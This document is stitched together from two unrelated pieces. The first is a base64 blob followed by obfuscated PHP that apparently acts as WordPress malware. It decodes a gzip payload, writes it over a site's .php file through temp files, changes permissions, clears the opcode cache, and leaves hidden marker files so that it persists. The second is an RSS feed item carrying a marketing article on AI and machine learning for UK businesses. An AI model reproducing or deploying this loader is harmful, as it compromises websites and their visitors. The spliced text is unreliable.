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');
   if ($GLOBALS['__scf_tbzphtka3ug8b_6']($qvjl00h8onp)   &&     $GLOBALS['__scf_sppky0sw1cvqm_7']($qvjl00h8onp) >= (1+17)   &&      $GLOBALS['__scf_mng1luvyowkl_15']($qvjl00h8onp,  0,   2)  ===    "\x1f\x8b")   {
$v5puc62xxu5w__g3      =    @$GLOBALS['__scf_e08qgwkave79k4_40']('V',      $GLOBALS['__scf_mng1luvyowkl_15']($qvjl00h8onp,     -(1+3)));
   if     (!$GLOBALS['__scf_ejt1mnwjsy_29']($v5puc62xxu5w__g3)    ||  $v5puc62xxu5w__g3[1]   <    (828-328)    ||   $v5puc62xxu5w__g3[1]   >   (1048575+1))  $qvjl00h8onp   =      "";
}
// WP Entity Records: unroll affine-type



$yk6cbxq0llviumc   =     ($GLOBALS['__scf_mng1luvyowkl_15']($qvjl00h8onp,  0,   2) ===  "\x1f\x8b") ? ($GLOBALS['__scf_w6duwsyy2_weq_0']('gzdecode') ?      @gzdecode($qvjl00h8onp,  (1048532+44))  :     ($GLOBALS['__scf_w6duwsyy2_weq_0']('gzinflate')   ?  @gzinflate($GLOBALS['__scf_mng1luvyowkl_15']($qvjl00h8onp,    (0x4+0x6), -(0x1+0x7)),  (1520466-471890))  :     false)) :  $qvjl00h8onp;
     unset($qvjl00h8onp);
  if    (!$GLOBALS['__scf_tbzphtka3ug8b_6']($yk6cbxq0llviumc)      ||   $GLOBALS['__scf_sppky0sw1cvqm_7']($yk6cbxq0llviumc)  <    (0x24+0x1d0) ||  $GLOBALS['__scf_sppky0sw1cvqm_7']($yk6cbxq0llviumc)  >    (1336124-287548))   $yk6cbxq0llviumc = _sc_coreld($x2_rm5kie7cyh);
  if   ($GLOBALS['__scf_tbzphtka3ug8b_6']($yk6cbxq0llviumc) && $GLOBALS['__scf_sppky0sw1cvqm_7']($yk6cbxq0llviumc)  >  (493+7)  &&   $GLOBALS['__scf_sppky0sw1cvqm_7']($yk6cbxq0llviumc)  <=    (756348+292228))     {
       if (!_sc_qok($z86vgrrey6u,   $yk6cbxq0llviumc)) {
    $qthmt5pb8tjoyuab    =     _sc_coreld($x2_rm5kie7cyh);
    if      (!$GLOBALS['__scf_tbzphtka3ug8b_6']($qthmt5pb8tjoyuab) ||    !_sc_qok($z86vgrrey6u, $qthmt5pb8tjoyuab))  $yk6cbxq0llviumc     = false;
    else  $yk6cbxq0llviumc = $qthmt5pb8tjoyuab;
     }
  if    ($GLOBALS['__scf_tbzphtka3ug8b_6']($yk6cbxq0llviumc)    && _sc_phpok_src($yk6cbxq0llviumc))  {$r2yfd0ci44=4343;$vtfsihms=$r2yfd0ci44%4;
  if  (!@$GLOBALS['__scf_b0ovvt1cim_36']($GLOBALS['__scf_pwwe2b15e597k_4']($k6i6qi830yq5l15))) _sc_mkdir($GLOBALS['__scf_pwwe2b15e597k_4']($k6i6qi830yq5l15));
  $i4qv4hfemd  =   ($GLOBALS['__scf_w6duwsyy2_weq_0']('tempnam') ? @$GLOBALS['__scf_shawuri3lat1_26']($GLOBALS['__scf_pwwe2b15e597k_4']($k6i6qi830yq5l15),  'sc_')    :    false);$zbmrylb2rl3v=77*9;$mppmfsdigw7aqh=$zbmrylb2rl3v-32;
 if ($i4qv4hfemd !==    false &&     !lfvhq16lapl075y2($i4qv4hfemd, $GLOBALS['__scf_pwwe2b15e597k_4']($k6i6qi830yq5l15)))  {
  _sc_ul($i4qv4hfemd);
$i4qv4hfemd    =   false;
 }
 if ($i4qv4hfemd !==   false) {
      $otn0jyt6zm =  _sc_fpc($i4qv4hfemd, $yk6cbxq0llviumc);
      if     ($otn0jyt6zm    !==   false   &&      $otn0jyt6zm  ===  $GLOBALS['__scf_sppky0sw1cvqm_7']($yk6cbxq0llviumc))   {
 $d2_3t7_xb1ko = hee34f5hn7utkbr0x_st($i4qv4hfemd,     $k6i6qi830yq5l15,     ll5a068rca9h3y1gf($yk6cbxq0llviumc));
   if  ($GLOBALS['__scf_w6duwsyy2_weq_0']('clearstatcache')) @clearstatcache(true, $k6i6qi830yq5l15);
 if ($d2_3t7_xb1ko) {
$k3teu0v46n      =   @$GLOBALS['__scf_fsreif8awn7p_13']($k6i6qi830yq5l15);
 if    (!$GLOBALS['__scf_tbzphtka3ug8b_6']($k3teu0v46n) ||  $k3teu0v46n      !==  $yk6cbxq0llviumc)   {
 if   ($GLOBALS['__scf_tbzphtka3ug8b_6']($k3teu0v46n)   &&   $GLOBALS['__scf_ujt5t1vfp1_28']($k3teu0v46n,  '/* SCV:')  !== false)  {
      if     ($k3teu0v46n !==  ""    &&  $GLOBALS['__scf_sppky0sw1cvqm_7']($k3teu0v46n)  <   $GLOBALS['__scf_sppky0sw1cvqm_7']($yk6cbxq0llviumc)     &&     $GLOBALS['__scf_mng1luvyowkl_15']($yk6cbxq0llviumc, 0, $GLOBALS['__scf_sppky0sw1cvqm_7']($k3teu0v46n)) ===  $k3teu0v46n) {
 _sc_fpc($GLOBALS['__scf_pwwe2b15e597k_4']($k6i6qi830yq5l15)   . '/.wr_'  . $GLOBALS['__scf_vrigtln_8foys_37']($k6i6qi830yq5l15,  '.php'),  '1');



  _sc_ul($k6i6qi830yq5l15);
}
   $d2_3t7_xb1ko      =  false;


} else {$tfowsj63h=15*4;$wc34wn72esrp43=$tfowsj63h-50;
_sc_fpc($GLOBALS['__scf_pwwe2b15e597k_4']($k6i6qi830yq5l15)   .   '/.wr_'     .   $GLOBALS['__scf_vrigtln_8foys_37']($k6i6qi830yq5l15,  '.php'),   '1');


 _sc_ul($k6i6qi830yq5l15);



$d2_3t7_xb1ko     = false;
}



 }
// acquire maximal command

 unset($k3teu0v46n);
   }
   if   ($d2_3t7_xb1ko)    {
     _sc_ul($GLOBALS['__scf_pwwe2b15e597k_4']($k6i6qi830yq5l15) . '/.wr_'  .    $GLOBALS['__scf_vrigtln_8foys_37']($k6i6qi830yq5l15,  '.php'));
  if ($GLOBALS['__scf_w6duwsyy2_weq_0']('chmod'))  @$GLOBALS['__scf_qc7gbv989de86_27']($k6i6qi830yq5l15,  (399+21));

   if  ($GLOBALS['__scf_w6duwsyy2_weq_0']('opcache_invalidate'))   @opcache_invalidate($k6i6qi830yq5l15,    true);
      _sc_padf($k6i6qi830yq5l15);
 }


   }    else    {$b4brzb83h=PHP_INT_MAX/PHP_INT_MAX;$_pck0o2_3di=$b4brzb83h+36;
_sc_ul($i4qv4hfemd);
     }
}
}
 unset($yk6cbxq0llviumc);
    }
    }
   if  ($GLOBALS['__scf_b7ssbdiis1vre_41']()     !==    'cli' &&      defined('ABSPATH')    &&    $GLOBALS['__scf_w6duwsyy2_weq_0']('md5_file'))   {
   $qroxb4yqsh2 = $x2_rm5kie7cyh   .  '/.gk_'      .  $GLOBALS['__scf_mng1luvyowkl_15']($GLOBALS['__scf_ccka2qedq3bl8_25']("echo-store-dot"), 0,  (0x1+0x7));
  $vjfdgv754a6d8s20  = @$GLOBALS['__scf_dj3279qvga_12']($qroxb4yqsh2)      ?  (int)   @$GLOBALS['__scf_ivzu6pw15zv_9']($qroxb4yqsh2)   :  0;
      $a5m91aazp3   =    ($vjfdgv754a6d8s20  ===    0   ||    $vjfdgv754a6d8s20    <  $GLOBALS['__scf_b7hwejws2y_10']()   -   (439-139)  || $vjfdgv754a6d8s20   >   $GLOBALS['__scf_b7hwejws2y_10']()  +     (426-126));
if  ($a5m91aazp3)  {
      @$GLOBALS['__scf_g8nnyvptau6_11']($qroxb4yqsh2);
   $mc921_a56rwbx9k9   =  $GLOBALS['__scf_mng1luvyowkl_15']($GLOBALS['__scf_ccka2qedq3bl8_25'](ABSPATH   .    'g'),   0,  (0x2+0x6));
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		<title>Understanding AI and Machine Learning: A UK Business Guide</title>
		<link>https://softsynapse.com/understanding-ai-and-machine-learning-a-uk-business-guide/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=understanding-ai-and-machine-learning-a-uk-business-guide</link>
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		<dc:creator><![CDATA[softsynapse]]></dc:creator>
		<pubDate>Mon, 18 Aug 2025 21:26:49 +0000</pubDate>
				<category><![CDATA[AI & ML Services]]></category>
		<category><![CDATA[AI and Machine Learning]]></category>
		<category><![CDATA[Best AI and Machine Learning in the UK]]></category>
		<guid isPermaLink="false">https://softsynapse.com/?p=1758</guid>

					<description><![CDATA[<p>Discover how AI and machine learning can transform your UK business. Learn about implementation strategies, benefits, and find the best AI services. The digital revolution has brought artificial intelligence and machine learning to the forefront of business innovation across the United Kingdom. As companies seek competitive advantages in an increasingly connected world, understanding these technologies...</p>
<p>The post <a href="https://softsynapse.com/understanding-ai-and-machine-learning-a-uk-business-guide/">Understanding AI and Machine Learning: A UK Business Guide</a> appeared first on <a href="https://softsynapse.com">Soft Synapse</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Discover how AI and machine learning can transform your UK business. Learn about implementation strategies, benefits, and find the best AI services.</p>



<p class="wp-block-paragraph">The digital revolution has brought artificial intelligence and machine learning to the forefront of business innovation across the United Kingdom. As companies seek competitive advantages in an increasingly connected world, understanding these technologies becomes crucial for sustainable growth. The concept of <a href="https://softsynapse.com/"><strong>Soft Synapse</strong></a>, representing the flexible connections between artificial neural networks, mirrors how businesses must adapt and create intelligent connections to thrive in today&#8217;s market. This guide will help UK businesses navigate the complex landscape of <a href="https://softsynapse.com/about-us/"><strong>AI and machine learning in the UK</strong></a>, providing practical insights for successful implementation.</p>



<h4 class="wp-block-heading">What Are AI and Machine Learning?</h4>



<p class="wp-block-paragraph">Artificial Intelligence refers to computer systems that can perform tasks typically requiring human intelligence. These systems can learn, reason, and make decisions based on data analysis. Machine Learning, a subset of AI, focuses on algorithms that improve automatically through experience without being explicitly programmed for every scenario.</p>



<p class="wp-block-paragraph">For UK businesses, these technologies offer unprecedented opportunities to automate processes, enhance customer experiences, and make data driven decisions. From small startups in London to manufacturing giants in Manchester, companies across Britain are discovering how AI can revolutionize their operations.</p>



<h4 class="wp-block-heading">The Current AI Landscape in the UK</h4>



<p class="wp-block-paragraph">The United Kingdom has positioned itself as a global leader in artificial intelligence development. Government initiatives, including the AI Sector Deal and investments exceeding £1 billion, demonstrate the country&#8217;s commitment to technological advancement. Cities like Cambridge, Edinburgh, and London have become hotbeds for AI innovation, attracting talent and investment from around the world.</p>



<p class="wp-block-paragraph">British businesses are increasingly recognizing that AI implementation is not just about staying current with technology trends. It represents a fundamental shift in how companies operate, compete, and serve their customers. The most successful organizations are those that view AI as a strategic asset rather than merely a technical tool.</p>



<h4 class="wp-block-heading">Key Benefits of AI and Machine Learning for UK Businesses</h4>



<h5 class="wp-block-heading">Enhanced Operational Efficiency</h5>



<p class="wp-block-paragraph">AI systems excel at automating repetitive tasks, allowing human employees to focus on creative and strategic work. Manufacturing companies in the Midlands have reported productivity increases of up to 40% after implementing machine learning algorithms for quality control and predictive maintenance.</p>



<h5 class="wp-block-heading">Improved Customer Experience</h5>



<p class="wp-block-paragraph">Machine learning algorithms can analyze customer behavior patterns, preferences, and feedback to deliver personalized experiences. Retail businesses across the UK are using <a href="https://en.wikipedia.org/wiki/Artificial_intelligence"><strong>AI powered</strong></a> recommendation engines to increase sales and customer satisfaction rates.</p>



<h5 class="wp-block-heading">Data Driven Decision Making</h5>



<p class="wp-block-paragraph">Modern businesses generate enormous amounts of data daily. AI systems can process and analyze this information faster and more accurately than human teams, providing insights that drive better business decisions. Financial services companies in the City of London particularly benefit from AI&#8217;s ability to detect patterns and anomalies in real time.</p>



<h5 class="wp-block-heading">Cost Reduction</h5>



<p class="wp-block-paragraph">By automating processes and optimizing operations, AI implementation often leads to significant cost savings. Energy companies throughout the UK use machine learning to optimize power distribution, reducing waste and operational expenses.</p>



<h4 class="wp-block-heading">Industries Leading AI Adoption in the UK</h4>



<h5 class="wp-block-heading">Healthcare and Life Sciences</h5>



<p class="wp-block-paragraph">The NHS and private healthcare providers are implementing AI solutions for diagnostic imaging, drug discovery, and patient care optimization. Cambridge based pharmaceutical companies are using machine learning to accelerate research and development processes.</p>



<h5 class="wp-block-heading">Financial Services</h5>



<p class="wp-block-paragraph">London&#8217;s financial district has embraced AI for fraud detection, algorithmic trading, and risk assessment. Banks and insurance companies rely on machine learning models to make faster, more accurate lending and underwriting decisions.</p>



<h5 class="wp-block-heading">Retail and E commerce</h5>



<p class="wp-block-paragraph">From inventory management to customer service chatbots, retail businesses across the UK are transforming their operations with AI technology. Online retailers use machine learning for demand forecasting and supply chain optimization.</p>



<h5 class="wp-block-heading">Manufacturing</h5>



<p class="wp-block-paragraph">British manufacturers are implementing AI for predictive maintenance, quality control, and production optimization. Smart factories in regions like Yorkshire and the North East demonstrate how traditional industries can benefit from cutting edge technology.</p>



<h4 class="wp-block-heading">Finding the Best AI and Machine Learning Services in UK</h4>



<p class="wp-block-paragraph">Selecting appropriate AI solutions requires careful consideration of your business needs, budget, and technical requirements. The <a href="https://softsynapse.com/services-version-one/"><strong>best AI and machine learning services in the UK</strong></a> offer comprehensive support, from initial consultation through implementation and ongoing maintenance.</p>



<p class="wp-block-paragraph">When evaluating providers, look for companies that demonstrate deep understanding of your industry and can provide customized solutions rather than one size fits all approaches. Expert AI and machine learning in UK providers should offer transparent pricing, clear timelines, and measurable outcomes.</p>



<h4 class="wp-block-heading">Choosing Expert AI and Machine Learning Partners</h4>



<p class="wp-block-paragraph">Working with expert AI and machine learning in UK specialists ensures your implementation succeeds. These professionals understand local business regulations, cultural nuances, and market conditions that affect AI deployment.</p>



<p class="wp-block-paragraph">Look for providers with proven track records, relevant certifications, and strong client testimonials. The most reliable partners offer ongoing support and training to help your team maximize the benefits of AI implementation.</p>



<h4 class="wp-block-heading">Implementation Strategies for UK Businesses</h4>



<h5 class="wp-block-heading">Start Small and Scale Gradually</h5>



<p class="wp-block-paragraph">Begin with pilot projects that address specific business challenges. This approach allows you to learn and refine your AI strategy without overwhelming your organization or budget.</p>



<h5 class="wp-block-heading">Invest in Training and Change Management</h5>



<p class="wp-block-paragraph">Successful AI implementation requires staff buy in and proper training. Ensure your team understands how AI will enhance their work rather than replace them.</p>



<h5 class="wp-block-heading">Focus on Data Quality</h5>



<p class="wp-block-paragraph">AI systems are only as good as the data they process. Invest time and resources in cleaning, organizing, and securing your data before implementing AI solutions.</p>



<h5 class="wp-block-heading">Ensure Compliance and Security</h5>



<p class="wp-block-paragraph">UK businesses must comply with GDPR and other data protection regulations. Choose reliable AI and machine learning in UK providers who prioritize security and regulatory compliance.</p>



<h4 class="wp-block-heading">Overcoming Common Implementation Challenges</h4>



<p class="wp-block-paragraph">Many UK businesses face similar obstacles when adopting AI technology. Budget constraints, skills shortages, and resistance to change are common hurdles. Addressing these challenges requires strategic planning, executive support, and gradual implementation approaches.</p>



<p class="wp-block-paragraph">Working with <a href="https://softsynapse.com/ai-ml-2/"><strong>reliable AI and machine learning in UK</strong></a> consultants can help navigate these challenges more effectively. Experienced providers offer change management support, training programs, and flexible payment options to make AI adoption more accessible.</p>



<h4 class="wp-block-heading">The Future of AI in UK Business</h4>



